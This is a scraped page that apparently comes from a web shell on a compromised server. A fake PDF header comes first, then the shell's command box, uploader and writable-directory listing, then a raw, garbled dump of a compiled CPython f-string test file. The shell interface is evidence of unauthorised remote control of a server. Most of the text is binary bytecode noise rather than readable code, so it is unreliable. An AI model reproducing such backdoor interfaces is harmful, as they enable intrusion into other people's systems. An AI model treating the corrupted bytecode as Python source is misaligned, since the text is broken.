%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /vddos/python/lib/python3.9/test/__pycache__/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //vddos/python/lib/python3.9/test/__pycache__/test_fstring.cpython-39.opt-2.pyc
a

�_g>��@svddlZddlZddlZddlZddlZddlZddlmZmZddl	m
Z
dZGdd�dej�Ze
dkrre��dS)�N)�temp_cwd�use_old_parser)�assert_python_failurezglobal variablec@s*eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!d?d@�Z"dAdB�Z#dCdD�Z$dEdF�Z%dGdH�Z&dIdJ�Z'dKdL�Z(dMdN�Z)dOdP�Z*dQdR�Z+dSdT�Z,dUdV�Z-dWdX�Z.dYdZ�Z/d[d\�Z0d]d^�Z1d_d`�Z2dadb�Z3dcdd�Z4dedf�Z5dgdh�Z6didj�Z7dkdl�Z8dmdn�Z9e:�;e<�do�dpdq��Z=drds�Z>dtdu�Z?dvdw�Z@dxdy�ZAdzd{�ZBd|d}�ZCd~d�ZDd�d��ZEd�d��ZFd�d��ZGd�S)��TestCasec
Csn|D]d}|j|d��D|�||��t|�Wd�n1s@0YWd�q1s^0YqdS)N��str)ZsubTest�assertRaisesRegex�eval)�selfZexception_typeZregexZ
error_stringsr�r�0/vddos/python/lib/python3.9/test/test_fstring.py�assertAllRaiseszTestCase.assertAllRaisecCs�Gdd�d�}|�}|�}t�dd�|�|_|�|�t|��|�|�d�|�t|�t|��|�|�d�d�|�|�d�d�|�t|��|d�d�|�t|��|d�d�dS)Nc@seZdZdd�ZdS)z(TestCase.test__format__lookup.<locals>.XcSsdS)N�classr�r
�specrrr�
__format__&sz3TestCase.test__format__lookup.<locals>.X.__format__N��__name__�
__module__�__qualname__rrrrr�X%srcSsdS)N�instancerrrrr�<lambda>.�z/TestCase.test__format__lookup.<locals>.<lambda>r�r)�types�
MethodTyper�assertEqual�format�type)r
r�x�yrrr�test__format__lookup#szTestCase.test__format__lookupcCsRGdd�d�}|�}d}t�|�}t|dd�}|�|j�t|�|�|j�dS)Nc@seZdZdd�Zdd�ZdS)zTestCase.test_ast.<locals>.XcSs
d|_dS)NF��called�r
rrr�__init__Asz%TestCase.test_ast.<locals>.X.__init__cSs
d|_dS)NT�r#r%rrr�__call__Csz%TestCase.test_ast.<locals>.X.__call__N)rrrr&r(rrrrr@sr�
a = 10
f'{a * x()}'r�exec)�ast�parse�compileZassertFalser$r*Z
assertTrue)r
rr �expr�t�crrr�test_ast>s
zTestCase.test_astcCs�d}t�|�}|�t|�tj�|�t|j�d�|�t|jd�tj�|�|jdjd�|�t|jd�tj	�|�t|jdj
�tj�|�t|jdj
j�d�|�t|jdj
jd�tj
�|�|jdjd�|�|jdj
jd�|�|jdj
jdjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�dS)Nr)�r���)r+r,rr�Module�len�body�Assign�lineno�Expr�value�	JoinedStr�values�FormattedValue�BinOp�left�Name�op�Mult�right�Call�
col_offset�r
r.r/�binoprrr�test_ast_line_numbersVs0
 zTestCase.test_ast_line_numberscCs�d}t�|�}|�t|�tj�|�t|j�d�|�t|jd�tj�|�t|jdj�tj	�|�|jdj
d�|�t|jd�tj�|�t|jdj�tj	�|�t|jdjj�d�|�t|jdjjd�tj�|�t|jdjjdj�t
�|�t|jdjjd�tj�|�t|jdjjd�tj�|�t|jdjjdj�t
�|�t|jdjjd�tj�|�|jdj
d�|�|jdjj
d�|�|jdjjdj
d�|�|jdjjdj
d�|�|jdjjdj
d�|�|jdjjdj
d�|jdjjdj}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|j
d�|�|jj
d�|�|jj
d�|�|jd�|�|jjd�|�|jjd�|jdjjdj}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|j
d�|�|jj
d�|�|jj
d�|�|jd	�|�|jjd	�|�|jjd
�dS)Nz8
f'no formatted values'
f'eggs {a * x()} spam {b + y()}'r2rr3r'r4����)r+r,rrr6r7r8r;r<r=r:r>�Constantrr?r@rArBrCrDrErFrGZAdd)r
r.r/Zbinop1Zbinop2rrr�.test_ast_line_numbers_multiple_formattedvaluesusX
      z7TestCase.test_ast_line_numbers_multiple_formattedvaluescCs�d}t�|�}|�t|�tj�|�t|j�d�|�t|jd�tj�|�|jdjd�|�t|jd�tj	�|�t|jdj
�tj�|�t|jdj
j�d�|�t|jdj
jd�tj
�|�|jdjd�|�|jdj
jd�|�|jdj
jdjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�|�t|jj�d�|�t|jjd�tj�|�t|jjdj
�t�|�t|jjd�tj
�|�t|jjd�tj�|�t|jjdj
�t�|�|jjdjd�|�|jjdjd�|�|jjdjd�|jjdj
}|�t|�tj�|�|jd�|�|jd�dS)Nz
a = 10
f'{a * f"-{x()}-"}'r2rr3r4r5�)r+r,rrr6r7r8r9r:r;r<r=r>r?r@rArBrCrDrErGrOrrF)r
r.r/rI�callrrr�test_ast_line_numbers_nested�sJ
 z%TestCase.test_ast_line_numbers_nestedcCs~d}t�|�}|�t|�tj�|�t|j�d�|�t|jd�tj�|�|jdjd�|�t|jd�tj	�|�t|jdj
�tj�|�t|jdj
j�d�|�t|jdj
jd�tj
�|�t|jdj
jd�tj�|�t|jdj
jdj
�t�|�t|jdj
jd�tj
�|�t|jdj
jd�tj�|�t|jdj
jdj
�t�|�t|jdj
jd�tj
�|�|jdjd�|�|jdj
jd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdj
jdjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�dS)	Nz)
a = 10
f'{a * x()} {a * x()} {a * x()}'
r2rr3�r4r'r5)r+r,rrr6r7r8r9r:r;r<r=r>r?rOrr@rArBrCrDrErFrGrHrrr�*test_ast_line_numbers_duplicate_expression�sp
       z3TestCase.test_ast_line_numbers_duplicate_expressioncCsd}t�|�}|�t|�tj�|�t|j�d�|�t|jd�tj�|�|jdjd�|�t|jd�tj	�|�t|jdj
�tj�|�t|jdj
j�d�|�t|jdj
jd�tj
�|�t|jdj
jdj
�t�|�t|jdj
jd�tj�|�t|jdj
jd�tj
�|�t|jdj
jdj
�t�|�|jdjd�|�|jdj
jd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdjd�|�|jdj
jd�|�|jdj
jdjd�|�|jdj
jdjd�|�|jdj
jdjd�|jdj
jdj
}|�t|�tj�|�t|j�tj�|�t|j�tj�|�t|j�tj�|�|jd�|�|jjd�|�|jjd�|�|jd�|�|jjd�|�|jjd�dS)	Nz?
a = 10
f'''
  {a
     *
       x()}
non-important content
'''
r2rr3r4r'�r5)r+r,rrr6r7r8r9r:r;r<r=r>rOrr?rGr@rArBrCrDrErFrHrrr�'test_ast_line_numbers_multiline_fstringsF	
     z0TestCase.test_ast_line_numbers_multiline_fstringcCsd}t�|�}|�t|�tj�|�t|j�d�|jdjjdj}|�t|�tj	�|�|j
d�|�|jd�|�|jd�|�|j
d�d}t�|�}|�t|�tj�|�t|j�d�|jdjjd}|�t|�tj�|�t|j�d�|j\}}}|�t|�tj�|�|j
d�|�|jd	�|�|jd
�|�|j
d�|j}|�t|�tj	�|�|j
t��rzdnd�|�|jt��r�dnd�|�|jt��r�d
nd�|�|j
t��r�dnd�|�t|�tj�|�|j
d�|�|jd	�|�|jd
�|�|j
d�dS)Nz
x = (
    f" {test(t)}"
)r3rr4rK�zv
x = (
        'PERL_MM_OPT', (
            f'wat'
            f'some_string={f(x)} '
            f'wat'
        ),
)
r'rVrL�rT�
rN��)r+r,rrr6r7r8r<r>rFr:�
end_linenorG�end_col_offset�eltsr=rOr)r
r.r/rRZfstringZwat1ZmiddleZwat2rrr�&test_ast_line_numbers_with_parenthesesOsD
	
z/TestCase.test_ast_line_numbers_with_parenthesescCs,dd�}|�|j�dd�}|�|j�dS)NcSsddS�NzNot a docstringrrrrr�f�sz"TestCase.test_docstring.<locals>.fcSsddSrarrrrr�g�sz"TestCase.test_docstring.<locals>.g)ZassertIsNone�__doc__)r
rbrcrrr�test_docstring�szTestCase.test_docstringcCs:|�td��t�d�Wd�n1s,0YdS)Nzmalformed node or stringzf'x')r�
ValueErrorr+Zliteral_evalr%rrr�test_literal_eval�szTestCase.test_literal_evalcCs<dg}d}t�|�}t|dd�}t|�|�|dd�dS)Nrzx[0] = 'foo' f'{3}'r*rZfoo3)r+r,r-r*r)r
r r.r/r0rrr�test_ast_compile_time_concat�s
z%TestCase.test_ast_compile_time_concatcCs|�tdddg�dS)Nz&cannot mix bytes and nonbytes literalszf'' b''zb'' f''�r
�SyntaxErrorr%rrr�test_compile_time_concat_errors�s��z(TestCase.test_compile_time_concat_errorscCs(|��d�|�dd�|�dd�dS)Nr�a� �rr%rrr�test_literal�szTestCase.test_literalcCs|�tdgd��dS)Nzf-string: unterminated string)zf'{"x'zf'{"x}'zf'{("x'zf'{("x}'rir%rrr�test_unterminated_string�s�z!TestCase.test_unterminated_stringcCsb|�tddg�|�tddg�|�tddg�|�tddg�|�tdd	g�|�ttd
�dS)NzJf-string: closing parenthesis '\}' does not match opening parenthesis '\('zf'{((}'zJf-string: closing parenthesis '\)' does not match opening parenthesis '\['z	f'{a[4)}'zJf-string: closing parenthesis '\]' does not match opening parenthesis '\('z	f'{a(4]}'zJf-string: closing parenthesis '\}' does not match opening parenthesis '\['zf'{a[4}'zf'{a(4}'a�f'{((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((}')r
rj�assertRaisesr	r%rrr�test_mismatched_parens�s �����zTestCase.test_mismatched_parenscCsr|�dd�|�dd�|�dd�|�dd�|�dd�|�dd�|�dd�|�dd�|�d	d	�|�d
d
�|�dd�|�dd�|�d
d
�|�dd�|�dd�|�dd�|�dd��d�|�dd��d�|�dd��d�|�dd��d�|�d�d�d�|�d�d�d�|�d�d�d�|�d�d�d�|�d�d�|�tddg�dS) N�{za{z{bza{b�}za}z}bza}bz{}za{}z{b}z{}cza{b}za{}cz{b}cza{b}c�
z{10z}10z}{z}{10z}a{z}a{10z10{z10}z10}{z}a{}z10}a{}z{{}}zunhashable typezf'{ {{}} }')rr
�	TypeErrorr%rrr�test_double_braces�s8�zTestCase.test_double_bracescCs�d}|�d|�d�d�|�d|�d�d�|�d|�d|d��d�|�d	|��d
�|�d|��d�|�d	|��d
�|�d
|��d�|�d|��d�|�d|��d�|�|�d�d�|�|�d�|�|�d�|�|�d�|�|�d�d�|�d|�d�d�|�d|��d�|�|�d|��d�|��d�|��d�|��d�|��d�|��d�|��d�|��d�|�tddg�dS)N�defzabc## Zghizabc## defghi�abcZ	abcdefghi�4z
abcdefghidef z{x}z{x}defz{xz{xdefz{{x}}z{{x}}defz{{xz{{xdefzx}}zx}}defzdefx}}�2Zdef2�1Z1def2Z1def�-zdef-defr�f-string: expecting '}'z
f'{3' f'}'�rr
rj�r
r rrr�test_compile_time_concat�s8�z!TestCase.test_compile_time_concatcCsNddi}|�d�d�|�|d�d�|�tdgd��|�tddg�dS)N�#�hashz+f-string expression part cannot include '#')zf'{1#}'z	f'{3(#)}'zf'{#}'�f-string: unmatched '\)'zf'{)#}'r�r
�drrr�
test_commentss��zTestCase.test_commentscCs�ddd�}d}d}tdd�D] }|�t||��|d|�q|�t|d	�d
�|dd�|dd
�}|�t|�|dd�dd}|�t|�d�dS)NrcSsdd||dS)Nzf'z{x} �'r)�n�extrarrr�
build_fstrsz2TestCase.test_many_expressions.<locals>.build_fstrrr3�irm��i��z{x:{width}} �zf'{1}' 'x' 'y'iA1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy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y1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy1xy)r)�rangerr	)r
r�r �width�i�srrr�test_many_expressionss
 
zTestCase.test_many_expressionsc	Cs�d}d}t�d�}|�d||�d|����d�|�d||�d|����d�|�d||d�d|d����d�|�d|d	�d
d�d|d����d�|�d|d	�d
d�d|d����d�|�ddd	�d��d
�|�dd�dd
�d���d
�|�ddd�dd
�d��d�|�dd�dd	�dd���d�|�dddddik�oH|�d��d
�|�tddg�t��rrdnd}|�t|dg�|�tddg�|�tddg�dS)Nrur'z12.34567zresult: �.zresult:      12.35�0r|r3rr��0xz
       0xar i����r}z
      -0xar4rTr~zf'{"s"!r{":10"}}'�invalid syntax�f-string: invalid syntaxzf'{4:{/5}}'z'f-string: expressions nested too deeplyz,f'result: {value:{width:{0}}.{precision:1}}'�&f-string: invalid conversion characterzf'{"s"!{"r"}}')�decimalZDecimalrr
rjr)r
r�Z	precisionr<�err_msgrrr�!test_format_specifier_expressions0s:
"&& &�������z*TestCase.test_format_specifier_expressionscCs.Gdd�d�}|�}|�|�d|��d�dS)Nc@seZdZdd�Zdd�ZdS)z*TestCase.test_side_effect_order.<locals>.XcSs
d|_dS)Nr�r�r%rrrr&Xsz3TestCase.test_side_effect_order.<locals>.X.__init__cSs|jd7_t|j�S)Nr3)r�rrrrrrZsz5TestCase.test_side_effect_order.<locals>.X.__format__N)rrrr&rrrrrrWsrrmz1 2rn)r
rr rrr�test_side_effect_orderVszTestCase.test_side_effect_ordercCs(|�tdgd��|�tdddg�dS)Nz&f-string: empty expression not allowed)zf'{}'z
f'{ }'f' {} 'zf'{!r}'zf'{ !r}'zf'{10:{ }}'zf' { } 'z
f'''{	
}'''zf'{!x}'z	f'{ !xr}'zf'{!x:}'z	f'{!x:a}'z
f'{ !xr:}'zf'{ !xr:a}'zf'{!}'zf'{:}'zf'{!'zf'{!s:'zf'{:'zf'{:x'z'invalid non-printable character U\+00A0uf'''{ }'''� rir%rrr�test_missing_expressionas�"��z TestCase.test_missing_expressioncCsR|�d�d�t�rdnd}|�t|ddg�|�tddg�|�tdd	g�dS)
N)r4z(3,)r�r�zf'{,}'r�z
f'{3)+(4}'z!EOL while scanning string literalzf'{
}'�rrr
rj�r
r�rrr�test_parens_in_expressions�s����z#TestCase.test_parens_in_expressionscCs�|�dd�|�dd�|�dd�|�d�d�d�|�d�dd��d�|�dd��d�|�dd�|�d	d	�|�d	d	�|�d�d�d
�|�d�dd��d�|�dd��d�|�dd�|�d
d
�|�d
d
�|�d�d�d
�|�d�dd��d�|�dd��d�|�dd�|�d�d�d
�|�d�dd��d�|�dd��d�|�d
d
�|�dd�|�dd�|�dd�|�dd�|�dd�|�d�d�d�|�d�dd��d�|�dd��d�|�dd�|�dd�|�dd�|�t��td�}Wd�n1�s00Y|�|d�|�dd��d�|�dd��d�d}|�dd�|�d|��d�|�d|��d�|�dd�dS)N�	z\tr2z2	r4z2	3z	3uΔz\u0394u2Δu2Δ3uΔ3z
\U00000394rmz\x20z2 z2 3z 3z	f'\{6*7}'z\42�\�*Zspam�&z\Nz\Nspamz\&)rZassertWarns�DeprecationWarningr	)r
r<Z	AMPERSANDrrr�test_backslashes_in_string_part�sX(z(TestCase.test_backslashes_in_string_partcCs|�tdgd��dS)Nzi\(unicode error\) 'unicodeescape' codec can't decode bytes in position .*: malformed \\N character escape)zf'\N'zf'\N{'z f'\N{GREEK CAPITAL LETTER DELTA'z'\N'z'\N{'z'\N{GREEK CAPITAL LETTER DELTA'rir%rrr�%test_misformed_unicode_character_name�s�z.TestCase.test_misformed_unicode_character_namecCs|�tdgd��dS)Nz3f-string expression part cannot include a backslash)z
f'{\'a\'}'zf'{\t3}'zf'{\}'zrf'{\'a\'}'z	rf'{\t3}'zrf'{\}'zrf'{"\N{LEFT CURLY BRACKET}"}'zf'{\n}'rir%rrr�&test_no_backslashes_in_expression_part�s�z/TestCase.test_no_backslashes_in_expression_partcCs4|�dd�|�dd�|�dd�|�dd�dS)Nz{1+1}z{1+1rnr%rrr�test_no_escapes_for_braces�sz#TestCase.test_no_escapes_for_bracescCs |�d�d�|�d�d�dS)Nrr�r5�7rnr%rrr�test_newlines_in_expressions�s�z%TestCase.test_newlines_in_expressionscsxd�|��fdd�d��d�|��fdd�d�d�d�|��fd	d�d�d�d
�t�r`dnd}|�t|d
g�dS)NrTcs�|S�Nr�r!�r rrrrz&TestCase.test_lambda.<locals>.<lambda>�8z'88888'cs�|Sr�rr�r�rrrr�10z
'88888'   cs�|Sr�rr�r�rrrrz
88888     r�r�zf'{lambda x:x}'r�r�rr�r�test_lambda�s�zTestCase.test_lambdacCs4dd�}|d�}|�t|�d�|�t|�d�dS)Ncssd|dV��dV�dS)Nzy:r2rr�rrr�fnszTestCase.test_yield.<locals>.fnr'rK)r�next)r
r�rcrrr�
test_yieldszTestCase.test_yieldcCs>dd�}|d�}t|�}|�|d�d�|�|�d�d�dS)Nc3sd�fdd�V��VdS)N�x:cs�|Sr�rr�r�rrrrz6TestCase.test_yield_send.<locals>.fn.<locals>.<lambda>rr�rr�rr�sz$TestCase.test_yield_send.<locals>.fnrur'�(�stringzx:string)r�r�send)r
r�rcZ
the_lambdarrr�test_yield_sends
zTestCase.test_yield_sendcCst|�d�d�|�d�d�|�d�d�|�d�d�|�d�d�|�d�d�|�d�d�|�d�d�dS)Nr zeric'szxeric"syzxeric"szeric"syrnr%rrr�+test_expressions_with_triple_quoted_strings sz4TestCase.test_expressions_with_triple_quoted_stringscCs�d}d}|�|�|��d�|�d|�|��d�|�|�d|��d�|�|�|�d�d�|�d|�d|��d	�|�d|�|�d�d
�|�|�d|�d�d�|�d|�d|�d�d
�dS)N�bryZ98abcrZX98abcZ98XabcZ98abcX�YZX98YabcZX98abcYZ98XabcY�ZZX98YabcZrn)r
r r!rrr�test_multiple_vars,szTestCase.test_multiple_varscCs0dd�}|�|d��d�|�|d��d�dS)Ncs�fdd�}|S)Ncs
d���S)Nr�rrr�rr�inner=sz3TestCase.test_closure.<locals>.outer.<locals>.innerr)r r�rr�r�outer<sz$TestCase.test_closure.<locals>.outerZ987zx:987r5zx:7rn)r
r�rrr�test_closure;szTestCase.test_closurecs<d��fdd�}|�|dd�d�d}|�|dd�d�dS)	Nr2csd|�|���S�N�x=r)r r�r�rrrbFsz"TestCase.test_arguments.<locals>.f�fooruzx=foofoo    �barzx=        20rn)r
rbr rr�r�test_argumentsDs
zTestCase.test_argumentscCsd}|�d|��d�dS)N�{�v:zv:123rn)r
r<rrr�test_localsMszTestCase.test_localscCs8|�t��dt��Wd�n1s*0YdS)Nr�)rq�	NameErrorr<r%rrr�test_missing_variableQszTestCase.test_missing_variablecCsfGdd�d�}|�|�d�d�|�|��d�|�|���d�|�d��d�|�d��d�dS)Nc@seZdZdd�ZdS)z,TestCase.test_missing_format_spec.<locals>.OcSs|sdS|S)N�*rrrrrrWsz7TestCase.test_missing_format_spec.<locals>.O.__format__Nrrrrr�OVsr�r r�r4�3rn)r
r�rrr�test_missing_format_specUsz!TestCase.test_missing_format_speccCs||�dt��d�|�dt��d�d}|�dt�d|��d�|�dt��d�|�dt�d|��d�|�dt��dS)	N�g:zg:global variablezg:'global variable'�local variable� l:z"g:global variable l:local variablez$g:global variable l:'local variable'zmodule 'unittest' from)r�a_global�assertIn�unittest)r
�a_localrrr�test_globalcs���zTestCase.test_globalcCsrd}|�d|��d�|�d|��d�d}|�d|�d|��d�|�d|��d�|�d|�d|��d�dS)	Nzreally a localr�zg:really a localzg:'really a local'r�r�z!g:really a local l:local variablez#g:really a local l:'local variable'rn)r
r�r�rrr�test_shadowed_globalqs���zTestCase.test_shadowed_globalcCsdd�}|�|d��d�dS)NcSsdt|�Sr�rr�rrrr�szTestCase.test_call.<locals>.fooruzx=10rn)r
r�rrr�	test_call~szTestCase.test_callcCs0d}|�d�d�d�|�|�d�d�dS)NrTrr4Z000Z555rn)r
r!rrr�test_nested_fstrings�szTestCase.test_nested_fstringscCs:gd�}dd�|D�}t�r dnd}|�t|||�dS)N)zfu''zuf''zFu''zfU''zUf''zuF''zufr''zurf''zfur''zfru''zrfu''zruf''zFUR''zFur''zfb''zfB''zFb''zFB''zbf''zbF''zBf''zBF''cSsg|]}|�dd��qS)r��")�replace)�.0Zcaserrr�
<listcomp>�rz9TestCase.test_invalid_string_prefixes.<locals>.<listcomp>r�zunexpected EOF while parsing)rr
rj)r
Zsingle_quote_casesZdouble_quote_cases�	error_msgrrr�test_invalid_string_prefixes�s���z%TestCase.test_invalid_string_prefixescCst|�d�d�|�d�d�|�d�d�|�d�d�|�ddd�dD���d�|�ddd�dD���d�dS)	Nr4r�zexpr=cSsi|]\}}||�qSrr�r�r r!rrr�
<dictcomp>�rz9TestCase.test_leading_trailing_spaces.<locals>.<dictcomp>))r3r2zexpr={1: 2}cSsi|]\}}||�qSrrr�rrrr��rrnr%rrr�test_leading_trailing_spaces�s��z%TestCase.test_leading_trailing_spacescCsP|�ddk�d�|�ddk��d�|�ddk�d�|�ddkd�d�dS)Nr4r'�Truez.3ZTrurnr%rrr�test_not_equal�szTestCase.test_not_equalcCs|�ddk�d�dS)Nrr3�Falsernr%rrr�test_equal_equal�szTestCase.test_equal_equalcCs�|�dd�d�|�dd�d�|�dd�d�|�dd�d�|�d�d�|�d�d�|�d�d�|�d�d�|�dd�d	�|�td
gd��|�tdgd
��dS)Ng��Q�	@z10.10z
      3.14z
3.14      rlz'a'za!rz!<10.10z
3.14!!!!!!r�)zf'{3!g}'zf'{3!A}'zf'{3!3}'zf'{3!G}'zf'{3!!}'zf'{3!:}'z	f'{3! s}'r~)zf'{x!s{y}}'z	f'{3!ss}'z
f'{3!ss:}'zf'{3!ss:s}'rr%rrr�test_conversions�s�
�zTestCase.test_conversionscCs|�tdgd��dS)Nr�)zf'' = 3z
f'{0}' = xz
f'{x}' = xrir%rrr�test_assignment�s�zTestCase.test_assignmentcCs|�tdddg�dS)Nr�zdel f''z
del '' f''rir%rrr�test_del�s
��zTestCase.test_delcCsp|�tdgd��|�tdgd��|�d�d�|�d�d�|�dd�d��d	�|�d
d�d��d�dS)Nz#f-string: single '}' is not allowed)zf'{{}'zf'{{}}}'zf'}'zf'x}'zf'x}x'z
f'\u007b}'zf'{3:}>10}'zf'{3:}}>10}'r~)zf'{3:{{>10}'zf'{3'zf'{3!'zf'{3:'zf'{3!s'zf'{3!s:'z	f'{3!s:3'zf'x{'zf'x{x'zf'{x'zf'{3:s'zf'{{{'zf'{{}}{'zf'{'rsrtr4z>10z
}}}}}}}}}3r2z
{{{{{{{{{2)r
rjrr%rrr�test_mismatched_braces�s�
�zTestCase.test_mismatched_bracescsd�fdd�}�fdd�}�fdd�}|dd�|d	d
�|dd�|d	d
�|dd
�|d	d
�dS)Ncs$d}|�rd}nd}��||�dS�Nrr3r2rn�r Zexpected�flagr%rr�test_fstrings
z2TestCase.test_if_conditional.<locals>.test_fstringcs$d}|�rd}nd}��||�dSr�rnr�r%rr�test_concat_empty$s
z7TestCase.test_if_conditional.<locals>.test_concat_emptycs(d}d|��rd}nd}��||�dS)Nrrmr3r2rnr�r%rr�test_concat_non_empty,s

z;TestCase.test_if_conditional.<locals>.test_concat_non_emptyrr2rmr3r)r
r�r�r�rr%r�test_if_conditionals




zTestCase.test_if_conditionalcCsFd}|�|�d�|�|��d�|�|��d�|�|��d�dS)N�testz'test'rnr�rrr�test_empty_format_specifier=s
z$TestCase.test_empty_format_specifiercCspddd�}d}|�|d�d�|�|d�d�|�||�d�|�dj|d�d�|�dj|d�d�dS)	Nr�Zinteger)rlrrrlz{d[a]})r�z{d[0]})rr)r
r�rlrrr�test_str_format_differencesDs�z$TestCase.test_str_format_differencescCs(|�tdddg�|�tdddg�dS)NZunsupportedzf'{(lambda: 0):x}'zf'{(0,):x}'zUnknown format codezf'{1000:j}')r
rvrfr%rrr�test_errorsOs����zTestCase.test_errorsz6The old parser only supports <fstring> as the filenamec	Cs�t��d}tj�|d�}t|d��}|�d�Wd�n1s@0Yt|dd�\}}}Wd�n1sp0Y|�|�dd�|�dS)Nzt.py�wzf"{a b}"�ascii)ZPYTHONIOENCODING�backslashreplace)	r�os�path�join�open�writerr��encode)r
�cwdZ	file_pathrb�_�stderrrrr�test_filename_in_syntaxerrorZs(�*z%TestCase.test_filename_in_syntaxerrorcCs,td�D]}|�d|��dt|��qdS)Ni�zi:)r�rr)r
r�rrr�	test_loopeszTestCase.test_loopcCsXdddd�}|�|d�d�|�|d�d�|�|d�d�|�|d�d�dS)NZdquoteZsquoter�)r�r�r�r�r�r�rnr�rrr�	test_dictis�zTestCase.test_dictcCs$|�td�d�|�td�d�dS)Nzf"\
"rzf"\
")rr	r%rrr�test_backslash_chartszTestCase.test_backslash_charcs�d�|�d���dt���|�d���dt���|�d���dt���|�d���dt���|�d���dt���d�|�d�d��dt�d��|�d����dt�d��|�d�d��dtt��d��|�d�d��dtt��d��|�d�d��dtt��d��d�|�d	d
�d��d�d
}|�d|d��d�|�dd��d�|�ddd��d�d�d}|�d|�d�d�|�dd
��d�|�ddk�d �|�ddk�d!�|�ddk�d!�|�ddk�d �|�d"��d"�|��d"�|�d#��d"�|��d#�|�d$�d$�d%�|��d&�d'��fd(d)�}d�|�|d*d+��d,�|��d*�|�|d-d+��d*�|��d-�Gd.d/�d/�}|�d0|���d1�|�d0|���d1�|�d0|����d2�|�d0|�d3��d4�|�d0|�d5��d6�|�d0|�d��d7�|�ttd8�d9�|�d:��d;�d:t��d;�|�d<��d;�d<t��d;�|�d=��d;�d=t��d;�|�d>��d;�d>t��d;�dS)?NzA stringr�zx =g����	�@z.2frz^20�	z3*x+15=r4rXz	3*x+15=42gffffff?@utenπ=utenπ=31.40u"Σ"=uΣu	"Σ"='Σ'z3.1415=go���!	@z.1fz*^20z*****3.1415=3.1*****uπualpha α pi=u	 ω omegaualpha α pi='π' ω omegaz
3
=z
3
=3rr3r�r��5rT�=��=10�
